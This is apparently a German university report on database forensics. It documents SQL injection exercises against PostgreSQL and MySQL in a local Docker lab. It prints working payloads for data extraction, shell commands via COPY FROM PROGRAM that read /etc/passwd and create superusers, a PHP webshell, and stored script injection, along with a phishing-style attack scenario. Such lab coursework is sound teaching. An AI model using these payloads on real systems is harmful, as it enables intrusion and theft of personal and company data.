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Aufgabenstellung 

● Installation der Laufzeitumgebung der Docker-Umgebung für Datenbanken 

(Häuser)  

● Durchführung der SQL-Injektion-Beispiele aus der Hense-BT anhand zweier 

unterschiedlicher Datenbanksysteme in Docker und Dokumentation anhand von 

Screenshots 

● Auswahl zweier Datenbanksysteme und Installation der eigenen Beispiel-

Datenbank (Schema, Daten) in diesen zwei DBS (aus Modul „Datenbanken I“). 

Durchführung von jeweils 5 Beispielen für SQL-Injektion auf den gewählten 

Datenbanken, sowie deren forensische Dokumentation. 

● Auswahl eines Cloud-Datenbanksystems und Installation der eigenen Beispiel-

Datenbank (Schema, Daten) in dieser DBS (aus Modul „Datenbanken I“. 

Durchführung von jeweils 5 Beispielen für SQL-Injektion auf den gewählten 

Datenbanken, sowie deren forensische Dokumentation. 

● Erzeugung einer Internet-Recherche-Historie im Browser (z.B. Firefox, Google 

Chrome). Anzeigen der History-SQLite-Datenbank mittels eines SQLite-DB-

Browser (z.B. DBEaver), sowie Dokumentation des Vorgehens. 

● Definition eines Fachbegriffs zum Thema „DB-Forensik“ definieren und Eintrag 

im Forensik-Wiki https://it-forensik.fiw.hs-

wismar.de/index.php?title=Hauptseite  

 

 

 

 

https://it-forensik.fiw.hs-wismar.de/index.php?title=Hauptseite
https://it-forensik.fiw.hs-wismar.de/index.php?title=Hauptseite
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1 Vorbereitung und Installation Docker-Umgebung 

Zur Nutzung der Anwendung von Häuser wird Docker benötigt, das unter Windows 10 

laufen soll. Auf der Seite https://www.docker.com/products/docker-desktop/ kann 

Docker Desktop für Windows heruntergeladen werden. 

 

Abbildung 1 Screenshots aus der Docker-Installation und Start Docker Desktop 

 

Um die Häuser-Anwendung mit Docker aufzurufen, wurde im Terminal in den Host-

Ordner navigiert, in dem die dazugehörigen Ordner samt docker compose-Datei liegen. 

Dann wurde mit Hilfe des Terminals in diesem Ordner mit dem Befehl docker compose 

up die Umgebung gestartet. Nach dem Download aller benötigten Komponenten, konnte 

im Browser mit localhost:80 die Anwendung aufgerufen werden. 

https://www.docker.com/products/docker-desktop/


 

 

 

Abbildung 2 Aufruf von Docker compose und Download der Container 

 

Abbildung 3 Start der Anwendung auf localhost:80 

Mit der vorhandenen Anwendung werden im folgenden Kapitel die SQL-Injection-

Beispiele aus der Bachelorarbeit von Hense in der PostgreSQL-DBMS simuliert.  

Es stellte sich heraus, dass verschiedene SQL-Abfragen in der Docker-Umgebung nicht 

möglich waren bzw. nur nach Anpassung einiger Dokumente im Docker-Container. 

Um die Anpassungen in diesem Kapitel abschließend zu besprechen, sieht man im 



 

 

folgenden alle Erweiterungen bzw. Anpassungen, die vorgenommen wurden, um im 

zweiten Teil der Hausarbeit die eigenen Tabellen in der Häuser-Dockerumgebung (für 

PostgreSQL) zu nutzen. 

In app.py wurde der Parameter current_time hinzugefügt, so dass in der vorlesungen.html 

und mitarbeiter.html die aktuelle Zeit ersichtlich ist. Außerdem wurde ein Autocommit 

eingefügt, so dass Daten verändert werden können, ohne dass COMMIT 

notwendigerweise in den SQL-Payload mit eingefügt werden muss.  

In der vorlesungen.html wurde das Autoescape deaktiviert, so dass bestimmte Zeichen 

im Suchfeld nicht escaped werden. So können z.B. Skripte eingeschleust werden. Ebenso 

wird mit dem Hinzufügen des Filters safe festgelegt, dass das HTML nicht escaped 

werden soll. 

Auf der rechten Seite der Abbildungen sieht man jeweils den Code nach der Anpassung, 

links Original vor der Anpassung. Alles gelb-markierte wurde hinzugefügt. 

Anpassungen in vorlesungen.html: 



 

 

 

Abbildung 4 Anpassungen in app.py (Screenshot Teil 1) 

 

Abbildung 5 Anpassungen in app.py (Screenshot Teil 2) 

 

Das vorhandene vorlesungen.html wurde kopiert und als Vorlage genommen, um eine 

weitere Anwendungsseite mit einer Mitarbeiter-Tabelle anzuzeigen.  



 

 

 

Abbildung 6 Neue mitarbeiter.html-Datei 

Die Query für die Suche wurde entsprechend auf die Spalten der Mitarbeiter-Tabelle 

abgeändert, so dass nach dem Nachnamen gesucht werden kann (siehe Screenshot 2, 

app.py).  



 

 

 



 

 

2 SQL Injection-Beispiele aus der Hense-Bachelorarbeit 

2.1 Auslesen der Datenbankversion 

2.1.1 PostgreSQL 

SQL-Injection-Befehle unterscheiden sich oft, je nachdem mit welchem DBMS man es 

zu tun hat. Da der Angreifer in der Regel keine Kenntnis davon hat, welches DBMS sich 

hinter der Anwendung verbirgt, ist es sinnvoll zu versuchen, dies herauszufinden. Falls 

die Ausgabe von Fehlermeldungen nicht unterdrückt wurde, kann der Angreifer 

versuchen durch eine ungültige Nutzereingabe eine Fehlermeldung in der Anwendung 

hervorzurufen, die Angaben zum DBMS enthält. Eine weitere Möglichkeit ist die gezielte 

SELECT-Abfrage der DBMS-Version. Sollte auch dies nicht funktionieren, kann der 

Angreifer anhand der Ausgabe der Ergebnisse ablesen, welches DBMS vermutlich 

implementiert ist (siehe Tabelle von Hense S. 39). 

Die Datenbankversion kann man mit '; SELECT version(); -- direkt ermitteln. Die 

Version lautet: PostgreSQL 12.17 (Debian 12.17-1.pgdg120+1) on x86_64-pc-linux-gnu, 

compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit. 

 

Abbildung 7 DBMS PostgreSQL 

Alternativ kann die Version auch mit Ethik' AND 1=0 UNION SELECT NULL, 

VERSION(), NULL, NULL;-- angezeigt werden. 

Um die UNION SELECT-Abfrage durchzuführen, müssen vorher die Anzahl der Spalten 

bestimmt werden, auf die die Original-Query zugreift. In diesem Fall kann man in der 

Anwendung zwar vier Spalten abzählen, theoretisch könnte die Query aber auch weitere 

Spalten umfassen, die nicht alle angezeigt werden. Ein Test mit ‘ ORDER BY bestätigte 

das Vorhandensein von vier Spalten, da ‘order by 5– einen Fehler zurück gab, während ‘ 

order by 4– keinen Fehler zurück gab und die vierte Spalte aufsteigend sortierte. 



 

 

 

Abbildung 8 Bestimmung Anzahl der Spalten 

 

Abbildung 9 Error Order by 5 

 

2.1.1 MySQL 

Die MySQL Datenbank wurde mittels bereitgestellter HenseVM erstellt. 

 

Abbildung 10 Datenbank MySQL 

 

2.2 Ausspähen von Daten 

Ein Angreifer interessiert sich vor allem für die Struktur der Datenbanken, die im DBMS 

angelegt sind und deren Inhalte - besonders für die Datenbanken und Inhalte, die nicht 

für die Öffentlichkeit bestimmt sind.  

Der Ablauf der Informationsbeschaffung in MySQL läuft folgendermaßen ab: 

1. Zuerst lässt sich der Angreifer mit Hilfe eines UNION-SQL-Befehls in einer 

Ergebnisspalte in der Benutzeroberfläche der Anwendung (die für andere Inhalte 

bestimmt war) die vorhandenen Datenbanken anzeigen. 

2. Unter den Ergebnissen kann der Angreifer den Namen einer Datenbank aussuchen, die 



 

 

interessante Daten verspricht. Mit einem weiteren UNION-SQL-Befehl werden die 

Tabellen in dieser Datenbank angezeigt. 

3. Nach dem gleichen Schema können die Spalten und Inhalte der Spalten in der 

Benutzeroberfläche der Anwendung angezeigt werden. 

In PostgreSQL werden abweichende Queries (keine UNION-Queries) verwendet. 

2.2.1 PostgreSQL 

Alle Datenbanken des PostgreSQL-DBMS können mit folgenden SQL-Befehl angezeigt 

werden: '; SELECT datname FROM pg_database; -- 

Dies ist die gleiche Query (mit Ausnahme des Anführungszeichen und des doppelten 

Bindestrichs), die man nutzen würde, um in pg Admin alle Datenbanken anzuzeigen. 

 

Abbildung 11 PostgreSQL: vorhandene Datenbanken 

Aus der aktiven Kemper-Datenbank können nun mit Hilfe von '; SELECT 

TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME FROM 

information_schema.tables WHERE table_schema NOT IN ('information_schema', 

'pg_catalog');-- die Tabellennamen angezeigt werden. 



 

 

 

Abbildung 12 PostgreSQL: Tabellennamen 

Mit folgendem SQL-Befehl wurden die einzelnen Spalten angezeigt, die zu jeder Tabelle 

gehören:  

'; SELECT table_name, column_name  FROM information_schema.columns  WHERE 

table_name in (SELECT tablename FROM pg_tables WHERE schemaname = 'public') 

order by 1;--  

Da PostgreSQL die Tabellen ungeordnet ausgibt, wurde der besseren Übersicht halber 

mit ORDER BY 1 nach der Tabellenergebnisspalte (Spalte Nr. 1) sortiert. 

 

Abbildung 13 PostgreSQL: Spalten 1 

 



 

 

 

Abbildung 14 PostgreSQL: Spalten 2 

Mit dem in der Hense-Bachelorarbeit angegebenen SQL-Befehl konnten keine Inhalte 

der Tabelle assistenten angezeigt werden. Es funktioniert mit folgendem Befehl: Ethik' 

AND 1=0 UNION SELECT persnr, name, fachgebiet, boss FROM assistenten;-- 



 

 

 

Abbildung 15 PostgreSQL: Inhalte anderer Tabellen 

2.2.2 MySQL 

Über den Befehl “integer_products.php?val=0 union SELECT schema_name,0,0,0 

FROM information_schema.schemata” wird das Schemata von MySQL über die 

HenseVM angezeigt 

 

Abbildung 16 MySQL: Anzeige vorhandene Datenbanken 

Mit dem Befehl “integer_products.php?val=0 union SELECT 

table_schema,table_name,0,0 FROM information_schema.tables WHERE table_schema 

= ‘kemper’ können die Kemperdatenbank-Tabellen angezeigt werden. 



 

 

 

Abbildung 17 MySQL: Tabellen in kemper-DB 

 

Abbildung 18 MySQL: Tabellen in kemper-DB 2 

 

Abbildung 19 MySQL: Tabellen in kemper-DB 3 

2.3 Verändern von Daten 

Ein Angreifer kann mittels SQL-Injection Daten im DBMS einfügen, ändern oder 

löschen. 



 

 

In der Hense-Bachelorarbeit wurde eine Datenbank samt Tabelle und Inhalten angelegt 

und dann wieder gelöscht. 

2.3.1 PostgreSQL 

CREATE DATABASE-Befehle werden in der Anwendung nicht unterstützt: 

 

Abbildung 20 PostgreSQL: Create Database 

 

Abbildung 21 PostgreSQL: Create Database Error 

Nebenbei wurde bemerkt, dass die Fehlermeldung die komplette zu Grunde liegende 

Query ausgibt, was aus einer Sicherheitsperspektive nicht ideal ist. 

Mit folgendem Befehl konnte das Command Line Interface (CLI) von PostgreSQL 

aufgerufen werden, um damit eine Datenbank zu erstellen: '; DROP TABLE IF EXISTS 

tmp; CREATE TABLE tmp(filename text); COPY tmp FROM PROGRAM 'psql -c 

"CREATE DATABASE hack"'; SELECT * FROM tmp; -- 

Mit psql -c wird über das CLI in der ersten Spalte der Tabelle tmp ein SQL-Befehl 

ausgegeben.  

 

Abbildung 22 PostgreSQL: Create Database 

Das Erstellen der Datenbank hack kann mit dem Befehl '; SELECT datname FROM 

pg_database; -- überprüft werden: 



 

 

 

Abbildung 23 PostgreSQL: DB erstellt 

Mit dem Befehl '; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); 

COPY tmp FROM PROGRAM 'psql -c "DROP DATABASE hack"'; SELECT * FROM 

tmp; -- wird die Datenbank “hack” wieder gelöscht. 

 

Abbildung 24  PostgreSQL: DB gelöscht 

Die Datenbank ist nicht mehr vorhanden: 

 

Abbildung 25  PostgreSQL: DB nicht mehr vorhanden 

2.3.2 MySQL 

Mit den Befehl 1’ OR 1=1; CREATE DATABASE hack; CREATE TABLE 

‘hack’.’id’(‘id’ INT(10))ENGINE=MYISAM; INSERT INTO 

‘hack’.’id’(‘id)VALUES(‘1’); –. wird eine neue Datenbank namens “hack” sowie ein 



 

 

dazugehörige Tabelle mit den Informationen “hack” und “id” erstellt. 

 

 

Abbildung 26 MySQL: Tabelle erstellt 

 

Abbildung 27 MySQL: Aufrufen der erstellten Tabelle 

2.4 Datenbankserver verändern 

Der Angreifer kann mit SQL-Injection den Datenbankserver verändern. Hiervon ist vor 

allem die Benutzerverwaltung betroffen. Der Angreifer kann sich erweiterte Rechte 

verschaffen oder vorhandene Nutzer im DBMS verändern.  

In der Hense-Bachelorarbeit wurde ein User mit allen Rechten angelegt und dieser danach 

wieder gelöscht. 

2.4.1 PostgreSQL 

Zuerst wurde mit der Query ' UNION SELECT NULL, current_user, NULL, NULL – 

herausgefunden, dass der aktuelle User postgres heißt. 

 

Abbildung 28 PostgreSQL: aktueller User 

Mit '; SELECT *  FROM information_schema.role_table_grants  WHERE grantee = 

'postgres';-- kann man einsehen welche Rechte der User postgres hat. Die folgende Grafik 



 

 

zeigt beispielhaft die Rechte des Users für die Tabelle professoren.  

 

Abbildung 29 PostgreSQL: Userrechte 

Als nächstes soll mit Hilfe der Hilfstabelle tmp ein neuer User doe angelegt werden:  

'; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY tmp 

FROM PROGRAM 'psql -c "CREATE USER doe WITH SUPERUSER"'; SELECT * 

FROM tmp; -- 

 

 

Abbildung 30 PostgreSQL: User anlegen 

Der Versuch mit '; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename 

text); COPY tmp FROM PROGRAM 'psql -c "ALTER ROLE doe WITH LOGIN"'; 

SELECT *  FROM tmp;-- ein Login anzulegen, zeigt folgendes an: 



 

 

 

Abbildung 31  PostgreSQL: Login zuweisen 

Danach wird das Passwort pass vergeben: '; DROP TABLE IF EXISTS tmp; CREATE 

TABLE tmp(filename text); COPY tmp FROM PROGRAM 'psql -c "ALTER ROLE 

doe WITH PASSWORD ''pass''"'; SELECT * FROM tmp;-- 

Der User existiert nun: 

 

Abbildung 32  PostgreSQL: Superuser wurde angelegt 

Mit folgendem Befehl wird der User wieder gelöscht:  

'; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY tmp 

FROM PROGRAM 'psql -c "DROP USER doe "'; SELECT *  FROM tmp;-- 

 

2.4.2 MySQL 

Über die HenseVM musste man leider den langen Befehl nehmen, der lautet: 

INSERT INTO `mysql`.`user` (`Host`,`User`,`Password`,`Select_priv`,`Insert_priv`, 

`Update_priv`,`Delete_priv`,`Create_priv`,`Drop_priv`,`Reload_priv`,`Shutdown_priv`,

`Process_priv`,`File_priv`,`Grant_priv`,`References_priv`,`Index_priv`,`Alter_priv`,`Sh

ow_db_priv`,`Super_priv`,`Create_tmp_table_priv`,`Lock_tables_priv`,`Execute_priv`,`

Repl_slave_priv`,`Repl_client_priv`,`Create_view_priv`,`Show_view_priv`,`Create_rou

tine_priv`,`Alter_routine_priv`,`Create_user_priv`,`Event_priv`,`Trigger_priv`,`Create_



 

 

tablespace_priv`,`ssl_type`,`max_questions`,`max_updates`,`max_connections`,`max_u

ser_connections`,`plugin`,`authentication_string`)VALUES('%','u',password('p'),2,2,2,2,

2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,0,'0','0','0','0','',NULL); FLUSH 

PRIVILEGES ; 

Mit diesem langen Befehl wird ein Benutzer namens u mit dem Passwort p erstellt. Dieser 

Benutzer wird damit alle Recht besitzen wie der Root Account 

 

Abbildung 33 MySQL: Befehl User erstellen 

  



 

 

 

Abbildung 34 MySQL: User wurde erstellt 

Der Benutzer wurde angelegt. 

Mit dem Befehl: 1’; DELETE FROM ‘mysql’.’user’ WHERE ‘User’=’u’; FLUSH 

PRIVILEGES; wird der erstellte Benutzer mit den Namen u auch wieder gelöscht. 

 

Abbildung 35 MySQL: User gelöscht 

Der erstellte Benutzer wurde wieder gelöscht. 

2.5 Zugriff auf das Filesystem 

Bevor ein Angreifer Code auf dem Server oder den Clients ausführen kann, muss er sich 

Lese- und Schreibzugriff auf das DBMS-Server-Filesystem verschaffen. 

In der Bachelorarbeit von Hense wurde folgendes gezeigt: 

1. Lesezugriff auf Systemfiles 

2. Schreibzugriff 

3. Lesezugriff auf das zuvor geschriebene File, vorzugsweise im gemeinsamen Filespace 



 

 

des DBMS und des Webservers 

2.5.1 PostgreSQL 

In PostgreSQL kann man die Dateien des Filesystems mit dieser Query einsehen: '; 

SELECT * FROM pg_ls_dir('.'); – 

 

Abbildung 36 PostgreSQL: Dateien im Filesystem 

Die Grafik zeigt einen Ausschnitt. 

'; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY tmp 

FROM PROGRAM 'cat /etc/passwd'; SELECT * FROM tmp; -- 



 

 

 

Der Schreibzugriff erfolgte mit der Hilfstabelle tmp, dem Befehl printf und Linux Bash3. 

Mit diesem Payload wurde die Datei injected_hello_world.sh ins Filesystem geschrieben: 

x0x0'; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(name text); COPY tmp 

FROM PROGRAM 'printf ''#!/bin/bash\necho " injected Hello World"'' 

>>/var/lib/postgresql/data/_injected_hello_world.sh'; SELECT * FROM tmp; -- 

 

Abbildung 37 PostgreSQL: Skript einfügen 

  



 

 

2.5.2 MySQL 

Durchführung des Beispiels mit Zugriff auf das Filesystem. 

Es wurde mit dem Befehl SELECT ‘ FROM ‘professoren’ WHERE name like ‘Sokrates’ 

UNION SELECT LOAD_FILE(‘/etc/passwd’),0,0,0; —. ein fremdes File, die bereits auf 

der VM ist, geladen. 

Damit bekommt man lesenden Zugriff: 

 

Abbildung 38 MySQL: Lesezugriff 

Mit dem Befehl SELECT “SECRET” INTO dumpfile ‘/var/lib/myql/test.txt; wird 

gezeigt, dass auch schreibender Zugriff auf das Filesystem möglich ist. 

 

Abbildung 39 MySQL: Schreibzugriff 

Danach wird sich mit dem zuvor genutzten Befehl die Datei nochmal angeschaut und man 

sieht, dass hier auf den Filesystem geschrieben worden ist. 

 

Abbildung 40 MySQL: Schreibzugriff erfolgt 

Der Screenshot zeigt den Lesezugriff auf das zuvor geschriebene File. 

2.6 Einschleusen von beliebigem Code 

Wenn es eine Schichtentrennung zwischen DBMS und Applikation gibt, kann der Code 



 

 

nur auf dem System der DBMS ausgeführt werden und nicht auf dem System der 

Applikation. 

In der Hense-Bachelorarbeit wurde eine PHP-Webshell in das Filesystem geschrieben. In 

der Applikation gibt es keine Schichtentrennung, demnach konnten hier Systembefehle 

über den Browser abgesetzt werden und Code im Clientprogramm ausgeführt werden.   

2.6.1 PostgreSQL 

Wie bereits in dem Kapitel beschrieben, in dem es um die Einrichtung der 

Übungsumgebung geht, mussten für diesen konkreten Fall folgende Änderung an der 

vorlesungen.html-Datei vorgenommen werden, damit z.B. ein Skript eingefügt werden 

kann:  

 

Abbildung 41 notwendige Änderungen für Use Case 1 

 

Abbildung 42 Notwendige Änderungen für Use Case 2 

Das Einfügen weiterer Werte in Vorlesungen erfolgte mit: x0x0'; INSERT INTO 

Vorlesungen VALUES (6666, '<script>prompt("PW:")</script>',1, null); -- 

 



 

 

 

Abbildung 43 PostgreSQL: Error Skript einfügen 

Obwohl die Anwendung zunächst einen Error ausgibt, wird beim nochmaligen Laden der 

Vorlesungen-Seite das eingeschleuste Skript ausgeführt: 



 

 

 

Abbildung 44 PostgreSQL: Skript ausgeführt 

 

Abbildung 45 PostgreSQL Skript eingefügt 

2.6.2 MySQL 

Nach Informationen gibt es bei MySQL keine Möglichkeit, Systembefehle abzusetzen. 

Dadurch muss eine Umgehungslösung über eine Webshell erfolgen. 

SELECT “<?php passthru($_GET[c]);?>” INTO dumpfile ‘/var/lib/mysql/cmd.php’; 

 

Danach wird mit folgenden PHP-Webshell befehle  in das Filesystem geschrieben: 

INSERT INTO `professoren` (`name`,`Rang`)VALUES 



 

 

('S','<script>prompt("bitte Passwort eingeben:", "");</script>'); 

 

Abbildung 46 MySQL: Ausführung des Scripts 

 

Abbildung 47 MySQL: Anzeige des Skripts 



 

 

3 Eigene Datenbanken 

Für diese APL wurde die Datenabank aus dem Modul Datenbanken 1 verwendet. Die 

Datenbank wurde in erster Linie für die Client Success-Abteilung des Marketing-

Software-Herstellers emarsys entwickelt. Emarsys nutzen vor allem E-Commerce-

Unternehmen zum Erstellen und Versenden ihrer Marketing-Nachrichten über 

verschiedene digitale Kanäle. In der Datenbank finden sich u.a. Tabellen zu 

Geschäftspartnern (Firmen), den dazugehörigen Verträgen zwischen den 

Geschäftspartnern und emarsys, den Usern (Mitarbeiter der Firmen) und zu den emarsys-

Mitarbeitern, die die Geschäftspartner betreuen. 

Dies ist das relationale Modell der Datenbank: 

 

Abbildung 48 Relationales Modell Modul DB1 



 

 

4 SQL-Injection-Beispiele in unseren DBS und forensische Analyse 

4.1 PostgreSQL Lokal 

Zum Durchführen der SQL-Injection-Beispiele mit der PostgreSQL-Datenbank des 

letzten Semesters wurde die Häuser-Anwendung als Gerüst genutzt. 

Mit Hilfe der SQL-Kommando-Funktion des Adminers wurden eine neue Datenbank 

angelegt und die Tabellen erstellt und mit Werten gefüllt. 

Anschließend musste eine neue Datei mitarbeiter.html im Ordner mit den Docker-Files 

erstellt werden. Als Vorlage wurde die vorlesungen.html kopiert und entsprechend 

angepasst. 

Ebenso angepasst bzw. erweitert wurden die Dateien template.html (zwecks Erweiterung 

um einen weiteren Menüpunkt für mitarbeiter) und app.py, wie bereits in dieser APL 

beschrieben. 

Bei Klick auf den Menüpunkt Mitarbeiter gelangt man auf eine Tabelle, in der 

Mitarbeiterdaten stehen und in der nach dem Nachnamen gesucht werden kann. 

 

Abbildung 49 PostgreSQL: neue Mitabeitertabelle 

4.1.1 Möglichkeiten der forensischen Analyse in PostgreSQL Lokal 

Abfragen der aktiven Session können direkt in der Häuser-Anwendung mit  '; SELECT 

pid, age(clock_timestamp(), query_start), usename, query FROM pg_stat_activity 

WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%';-- eingesehen 



 

 

werden: 

Abgefragt werden die postgres Prozess-ID, der Timestamp der Query, DB-Username und 

Query. 

 

Abbildung 50 PostgreSQL: Queries in aktiver Session 

Des Weiteren kann man in der Docker-Umgebung die Log-Files der Anwendung bzw. 

speziell das Log-File von postgres einsehen: 

 

Abbildung 51 PostgreSQL: Docker PostgreSQL Logfile 

Darin kann man zwecks forensischer Analyse den Timestamp und die Query auslesen. 

▪  

 



 

 

 

4.1.2 Szenario 

Ein Hacker hat Zugriff auf die Anwendungsoberfläche der Personalabteilung von 

emarsys erhalten, die auf der Tabelle mitarbeiter basiert. Mit dieser Oberfläche kann man 

anhand des Mitarbeiter-Nachnamens weitere Mitarbeiterdaten abfragen. 

Der Hacker findet heraus, dass das Suchfeld eine Schwachstelle für SQL-Injection 

aufweist. Dies findet er heraus, indem er ein ‘ eingibt und die Antwort der Anwendung 

beobachtet. Das Resultat ist ein Programming Error, die Eingabe wird wohl als Teil der 

Query übernommen und nicht parametrisiert. 

 

Abbildung 52 PostgreSQL: Schwachstelle in Suchmaske 

Das eigentliche Ziel des Hackers ist es aber einen Zugang zu der Plattform zu erhalten. 

Die angegriffene Firma vertreibt eine Software, mit der Firmen Marketingnachrichten an 

ihre Kunden schicken können. Dementsprechend liegen sehr viele Kundendatensätze in 

der Plattform. 

Der Hacker weiß, dass der Zugang zum Technischen Support mittels registrierter 

Firmenmailadresse funktioniert, siehe Nachricht bei Eingabe von falscher Mailadresse 

bei “Passwort vergessen” auf der Support-Login-Seite: 



 

 

 

Abbildung 53 Hinweise emarsys Tech Support 

Deswegen beschließt der Hacker folgendes Vorgehen: 

1. Untersuchen der verfügbaren Mitarbeiter-Abfragetabelle mit dem Ziel über diese 

Tabelle an weitere nicht-sichtbare Tabellen zu kommen, indem er: 

a. die Datenbankversion ausließt 

b. die Anzahl der verfügbaren Spalten ausließt 

c. überprüft welche Spalten String-Daten enthalten 

2. Ausspähen relevanter Daten aus anderen Tabellen, indem er: 

a. Anzeige der vorhandenen DB 

b. Anzeige der vorhandenen Tabellen 

c. Anzeige der Tabellennamen 

d. Anzeige der Spalten der Tabellen Geschäftskunden und Users 

e. Anzeige der Inhalte der Spalten id und Firmenbezeichnung von 

Geschäftskunden 

3. Verändern von Daten, indem er einen neuen User mit einer vom Hacker 

kontrollierten Mailadresse in der Tabelle Users anlegt um einen Zugang zum 

Technischen Support zu erhalten 

4. Datenbankserver verändern: neuen User anlegen für weitere Angriffe 

5. Einschleusen von Code: ein Skript wird in die Tabelle Mitarbeiter eingefügt, das 

auf eine vom Angreifer kontrollierte Seite weiterleitet (z.B. um dort weitere Daten 

abzugreifen). 

 



 

 

4.1.3 Beispiel 1: Sammeln relevanter Daten zur verfügbaren Mitarbeiter-Tabelle 

Mit ‘; SELECT version(); – kann man die DBMS-Version auslesen: 

 

 

Abbildung 54 PostgreSQL: DB version 

Mit ‘ ORDER BY 1;--,  ‘ ORDER BY 2;--,  ‘ ORDER BY 3;-- usw. wurde 

herausgefunden, dass die Query auf 8 Spalten zugreift (genauso viele wie in der 

Anwendung angezeigt werden), da bei ‘ ORDER BY 9;-- ein Error angezeigt wird, mit 

der Query auf mehr Spalten versucht wird zuzugreifen, als Spalten vorhanden sind. 

 

Abbildung 55 PostgreSQL: Spaltenanzahl 

Mit der Query  

Bolz' UNION SELECT 'a', NULL, NULL, NULL, NULL, NULL, NULL, NULL;-- 

kann man herausfinden, welche Spalten Strings enthalten. Bei Prüfung der ersten Spalte 

wird ein Error ausgegeben, mit dem Hinweis, dass die Eingabe einen Integer-Wert 

erfordert. 



 

 

 

Abbildung 56 PostgreSQL: Error Stringdaten herausfinden 

Bei Prüfung der zweiten Spalte sieht man, dass die Spalte String-Werte beinhaltet, da das 

‘a’ in der Tabelle ausgegeben wird. Nach demselben Schema kann man die anderen 

Spalten prüfen: Bolz' UNION SELECT NULL, 'a', NULL, NULL, NULL, NULL, 

NULL, NULL;-- 

 

Abbildung 57 PostgreSQL: Stringdaten möglich in Spalte 2 

4.1.4 Beispiel 2: Ausspähen von relevanter Daten aus anderen Tabellen 

Die Anzeige der vorhandenen Datenbanken erfolgte mit: '; SELECT datname FROM 

pg_database; -- 

 

Abbildung 58 PostgreSQL: vorhandene Datenbanken 

 

Anzeige der Tabellennamen und der dazugehörigen Spalten: '; SELECT table_name, 



 

 

column_name  FROM information_schema.columns  WHERE table_name in (SELECT 

tablename FROM pg_tables WHERE schemaname = 'public') order by 1;-- 

 

Abbildung 59 PostgreSQL: Tabellennamen und Spalten in DB 

Beispielhaft werden hier die Spalten zu Geschäftskunden und Users angezeigt, weil diese 

für das weitere Vorgehen des Hackers relevant sind. 



 

 

 

Abbildung 60 PostgreSQL: Tabellennamen und Spalten in DB 2 

 

Abbildung 61 PostgreSQL: Tabellennamen und Spalten in DB 3 

Anzeige der Inhalte der Spalten id und Firmenbezeichnung: 

Bolz' AND 1=0 UNION SELECT id, firmenbezeichnung, NULL, NULL, NULL, NULL, 

NULL, NULL FROM geschäftskunden;-- 



 

 

 

Abbildung 62 PostgreSQL: Anzeigen von Inhalten anderer Tabellen 

Der Hacker kann sich nun eine Firma raussuchen, für die er sich in der Users-Tabelle 

einen User anlegen möchte. 

Er wählt home24 SE mit der id=11 

4.1.5 Beispiel 3: Verändern von Daten 

Die User-Tabelle sieht vor Anlegen des Users folgendermaßen aus: 

Bolz' AND 1=0 UNION SELECT id, anrede, vorname, nachname, email_adresse, 

telefonnummer, funktion, kunden_id FROM users;-- 



 

 

 

Abbildung 63 PostgreSQL: User-Tabelle vorher 

Anlegen eines neuen Users in der User-Tabelle: Bolz'; INSERT INTO users (id, anrede, 

vorname, nachname, email_adresse, telefonnummer, funktion, kunden_id) VALUES 

('13', 'Herr', 'Hans', 'Hecker', 'hans.hecker@home22.com' , '02161/43342334', 'Main 

User', '11'); -- 

Hier gibt die Anwendung einen Error zurück. Beim nochmaligen Aufrufen der Users-

Tabelle sieht man, dass der Datensatz angelegt wurde. 



 

 

 

Abbildung 64 PostgreSQL: neuer Eintrag User-Tabelle 

Der Hacker kann nun die Ferienzeit abwarten. Er schickt dann Nachrichten an alle Client 

Success-Manager (aus der Tabelle Mitarbeiter), um zu sehen, wer arbeitet und wer Urlaub 

hat. Er schreibt dann als Hans Hecker an einen verfügbaren Mitarbeiter, gibt vor, regulär 

von einem Kollegen, der sich gerade in Urlaub befindet, betreut zu werden und bittet ihn 

- in Vertretung - mit der in der DB hinterlegten Mailadresse einen Zugang zum 

Technischen Support anzulegen. Über diesen kann der Angreifer versuchen einen Zugang 

zur emarsys-Versende-Plattform von home24 zu erhalten. 

 

4.1.6 Beispiel 4: Datenbank-Server verändern 

Mit ' UNION SELECT NULL, current_user, NULL, NULL, NULL, NULL, NULL, 

NULL;-- kann man sich den aktuellen Datenbank-User anzeigen lassen: 



 

 

 

Abbildung 65 PostgreSQL: aktueller User 

Mit '; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY tmp 

FROM PROGRAM 'psql -c "CREATE USER Angreifer WITH SUPERUSER"'; 

SELECT * FROM tmp; –wird ein neuer User “Angreifer” angelegt. 

 

Abbildung 66 PostgreSQL: neuen User anlegen 

Ein Login wurde mit '; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename 

text); COPY tmp FROM PROGRAM 'psql -c "ALTER ROLE Angreifer WITH 

LOGIN"'; SELECT *  FROM tmp;-- angelegt. 

 

Abbildung 67 PostgreSQL: Login zugewiesen 

Und mit '; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY 

tmp FROM PROGRAM 'psql -c "ALTER ROLE Angreifer WITH PASSWORD ''pass''"'; 



 

 

SELECT * FROM tmp;-- wurde ein Passwort vergeben. 

 

Abbildung 68 PostgreSQL: Passwort vergeben 

Der Superuser existiert nun, wie man im Adminer einsehen kann: 

 

Abbildung 69 PostgreSQL: Superuser in Adminer 

Somit kann sich der Angreifer von nun an mit seinem eigenen Usernamen und Passwort 

anmelden. 

4.1.7 Beispiel 5: Einschleusen von Code 

Mit folgender Query 

'; INSERT INTO mitarbeiter VALUES (845111, '<script>window.open("https://it-

forensik.fiw.hs-wismar.de/");</script>', 'test', 'test', 'test', 'test', 'test', 573); -- 

wurde ein Skript in die Tabelle Mitarbeiter eingefügt. 

Danach wird ein ResourceClosedError angezeigt. Beim nochmaligen Öffnen des Menüs 

“Mitarbeiter” wird ein weiteres Tab mit dem Forensik-Wiki geöffnet. In dem erwähnten 

Szenario könnte das neue Tab auf eine vom Angreifer kontrollierte Webseite weiterleiten, 

die ein Firmen-Login vorgibt und die Mitarbeiter dazu bringen soll, Firmen-Username 

und Passwort einzugeben. 

